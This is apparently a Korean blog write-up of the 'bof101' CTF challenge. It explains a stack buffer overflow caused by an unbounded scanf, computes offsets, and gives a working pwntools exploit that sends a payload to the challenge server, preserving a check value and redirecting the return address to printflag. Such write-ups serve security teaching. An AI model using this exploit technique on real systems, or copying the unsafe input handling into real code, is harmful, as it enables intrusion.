bof101 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
void printflag(){
char buf[32];
int fd = open("/flag", O_RDONLY);
read(fd, buf, sizeof(buf));
close(fd);
puts(buf);
}
int main() {
int check=0xdeadbeef;
char name[140];
printf("printflag()'s addr: %p\n", &printflag);
printf("What is your name?\n: ");
scanf("%s", name);
if (check != 0xdeadbeef){
printf("[Warning!] BOF detected!\n");
exit(0);
}
return 0;
}
// printflag : 0x4011f6
// check : 0x7FFDD056166C
코드 분석
먼저 해당 문제의 코드를 보면
check이라는 변수에 0xdeadbeef 가 저장 되어있고,
printflag함수의 주소를 출력해준다.
이후 name 배열에 scanf함수를 %s로 사용하여 입력받는다
이후 check 변수가 0xdeadbeef 값인지 확인한 후 아니면 bof detected하고 종료한다.
취약점
여기서 name변수에 scanf함수를 사용하여 %s를 통해 크기를 지정하지 않고 받고 있다. 여기서 취약점이 발생하게 되고, 이를 통해 bof를 유발하게 된다.
해결방법
name 변수에 bof를 유발하고, returnaddress에 printflag함수의 주소로 덮는다. 여기서 check변수가 다른 값으로 덮어씌워지면 안되니 check 변수의 주소를 파악해서 0xdeadbeef 값으로 쓴다.
name 변수의 주소는 0x7fffffffdf10 위치이다.
이후 0xdeadbeef와 비교하는 위치가 rbp - 4 이다.
해당 메모리까지의 차이는 136바이트이다.
136바이트로 채우고 뒤에 DEADBEEF뒤에 00000000 를 채워야 하니 136 + 4 를 한 후 0xdeadbeef, 그 이후에 sfp 자리를 의미없는 값으로 채우고, 이후에 returnaddres를 printflag로 입히면 된다.
익스플로잇
from pwn import *
#p = process('./bof101')
p = remote('bof101.sstf.site' , 1337)
#//gdb.attach(p)
p.recvuntil(': ')
#sleep(4)
p.sendline(b"a" * 140 + b"\xef\xbe\xad\xde" + b"bbbbcccc" + p64(0x4011f6))
print(p.recvall())
p.close()
140으로 인해 0xdeadbeefaaaaaaaa로 입력되어 ret까지 잘 갔고, 이후에 return함수가 printflag로 간것을 볼 수 있다.
remote로 실행한 결과 flag가 출력되었다.
'시스템해킹' 카테고리의 다른 글
[LAZENCA] ROP-x64 part.1 (1) | 2023.11.09 |
---|---|
드림핵 off_by_one_000 writeup (0) | 2023.11.02 |
[sunshine CTF 2023] Array of Sunshine writeup (1) | 2023.10.19 |
dreamhack 쉘코드 강의 정리(1) (1) | 2023.10.05 |
pwnable.kr flag writeup (0) | 2023.10.05 |